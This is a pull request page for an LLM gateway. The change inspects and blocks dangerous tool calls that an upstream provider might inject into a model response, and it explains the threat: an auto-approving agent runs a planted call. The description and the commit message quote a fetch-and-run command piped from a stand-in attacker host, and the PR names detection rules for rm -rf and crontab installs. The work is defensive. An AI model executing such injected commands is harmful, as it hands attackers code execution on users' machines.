Skip to content

feat: inspect the tool calls an upstream returns - #29

Merged
fylorn merged 3 commits into
devfrom
feat/tool-call-inspection
Sep 23, 2026
Merged

fylorn merged 3 commits into
devfrom
feat/tool-call-inspection

Conversation

@fylorn

@fylorn fylorn commented Sep 23, 2026

Copy link
Copy Markdown
Contributor

An upstream writes the response, so it can hand the caller a tool call the model never made: bash("curl https://evil.sh | sh") appended to an ordinary answer. An agent in auto-approve runs it, and a human approving tool calls by the dozen waves it through. The desktop gateway already guards against this; the server edition had nothing.

This PR adds the same inspection, from thinkwatch-core's tw-guard (v0.38.0):

  • a built-in set of dangerous-command rules, each of which an admin can switch off or re-grade;
  • rules of the admin's own on top.

Behaviour

  • Settings: security.tool_inspection holds:

    • the mode: off / observe / enforce;
    • the built-in rules switched off;
    • actions that differ from the factory ones;
    • custom rules.

    Observe is the default. It changes nothing on the wire and records every hit, so an operator sees what enforce would cut before turning it on. The setting hot-reloads like the content filter and PII patterns. The validator refuses unknown built-in ids, duplicate or empty names, and patterns that don't compile.

  • Streams are inspected on what the client is about to receive, after conversion if there was one. In enforce mode the stream is cut at the frame that would complete a matching call:

    • what the model said before it still goes out;
    • an incomplete call cannot be executed;
    • the refusal ends the stream in the caller's format;
    • the converter's final bytes are inspected too, since they can close a tool block.
  • Whole responses and cache hits are inspected before anything goes out, and refused with 403 (GatewayError::PolicyBlocked, new in core).

    • Like an output-guardrail refusal, a refused answer is neither cached nor billed.
    • The route's health counts it as a success, because the upstream did nothing wrong.
  • Every hit writes an audit-log event, gateway.tool_call_flagged or gateway.tool_call_blocked, attributed to the caller. It carries the rule, the tool and a truncated excerpt (in placeholder form where PII was redacted). There is also a gateway_tool_call_flagged_total counter.

  • Admin:

    • GET /api/admin/settings/tool-inspection/rules lists the built-in rules.
    • POST /api/admin/settings/tool-inspection/test runs a sample against the config being edited.
    • The security page gets a card: a mode select; the built-in rules, each with a switch and an Enforce action; and custom rules. The sandbox gets a third tab.
    • Built-in rule names and reasons are translated (zh); a rule core adds later falls back to the server's English.

Found along the way

  • Core fix (v0.38.0): rm-rf-root and crontab-install never matched where a command ends inside the arguments' JSON ({"command":"rm -rf /"}), which is the most common form of both calls. This PR's own unit test caught it. The desktop was affected too.
  • body_capture.rs now explains why it isn't shared with the desktop gateway, as health.rs already did. Core's tw-wire gave quota/bodies back to the desktop gateway, since only the desktop used them.

Verification

  • cargo fmt --check and cargo clippy --workspace --all-targets -D warnings are clean.
  • cargo nextest run --workspace --lib --bins --tests: 637 passed.
  • Web: tsc -b, eslint, check-i18n (parity, no dead keys) and vitest (103 passed).
  • New integration tests (tool_inspection.rs), 6 passing:
    • enforce cuts an Anthropic stream before the tool block closes and writes the audit row;
    • a Chat client on an Anthropic route is inspected in its own format;
    • observe hands a whole answer over and records it;
    • enforce refuses a whole answer with 403;
    • a rule re-graded to Record is not cut;
    • the admin endpoints list the rules, try a sample, and refuse a bad config.
  • Full integration suite on the final code: 231 passed, 22 failed. The 22 are identical to dev's baseline (webhooks and signing 8, MCP bulk delete 2, cost forecast 2, OIDC, TOTP, Kafka, wizard, route docs, and 5 body-capture tests); the 231 include the 6 new tests.
  • UI: the card rendered in a local preview (zh) with real clicks. Switching a rule off and on, setting a re-graded rule back to its factory action (the override is dropped), and adding a custom rule all write the expected config.

No release.

🤖 Generated with Claude Code

fylorn and others added 3 commits September 24, 2026 04:16
An upstream writes the response, so it can hand the caller a tool call
the model never made — `bash("curl https://evil.sh | sh")` appended to
an ordinary answer. An agent in auto-approve runs it; a human approving
tool calls by the dozen waves it through. The desktop gateway has
guarded against this for months; the server edition had nothing.

It now runs the same inspection, from thinkwatch-core's tw-guard: a
built-in set of dangerous-command rules, each of which an admin can
switch off or re-grade, plus rules of their own.

- **Settings**: `security.tool_inspection` — mode (off / observe /
  enforce), built-in rules switched off, actions that differ from the
  factory ones, custom rules. **Observe by default**: it changes nothing
  on the wire and records every hit, so an operator sees what enforce
  would cut before turning it on. Hot-reloaded like the content filter
  and PII patterns; the validator refuses unknown built-in ids,
  duplicate or empty names and patterns that do not compile.
- **Streams** are inspected on what the client is about to receive —
  converted, if it was — and in enforce mode cut at the frame that would
  complete a matching call. What the model said before it still goes
  out; an incomplete call cannot be executed. The refusal ends the
  stream in the caller's format, and the converter's final bytes are
  inspected too, since they can close a tool block.
- **Whole responses**, and cache hits, are inspected before anything
  has gone out and refused with 403 (`GatewayError::PolicyBlocked`).
  Like an output-guardrail refusal, a refused answer is neither cached
  nor billed; the route's health counts it as a success, since the
  upstream did nothing wrong.
- **Every hit** is an audit-log event, `gateway.tool_call_flagged` or
  `gateway.tool_call_blocked`, attributed to the caller, with the rule,
  the tool and a truncated excerpt (placeholder form where PII was
  redacted), plus a `gateway_tool_call_flagged_total` counter.
- **Admin**: `GET /api/admin/settings/tool-inspection/rules` lists the
  built-in rules; `POST …/tool-inspection/test` runs a sample against
  the config being edited. The security page gains a card for it (mode,
  built-in rules with a switch and an Enforce action each, custom rules)
  and a third sandbox tab.

Pins core v0.38.0 for the rule fix it depends on: rm-rf-root and
crontab-install now match where a command ends inside the arguments'
JSON, which this change's own unit test caught.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]>
@fylorn
fylorn merged commit 437a671 into dev Sep 23, 2026
@fylorn
fylorn deleted the feat/tool-call-inspection branch September 23, 2026 20:57
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant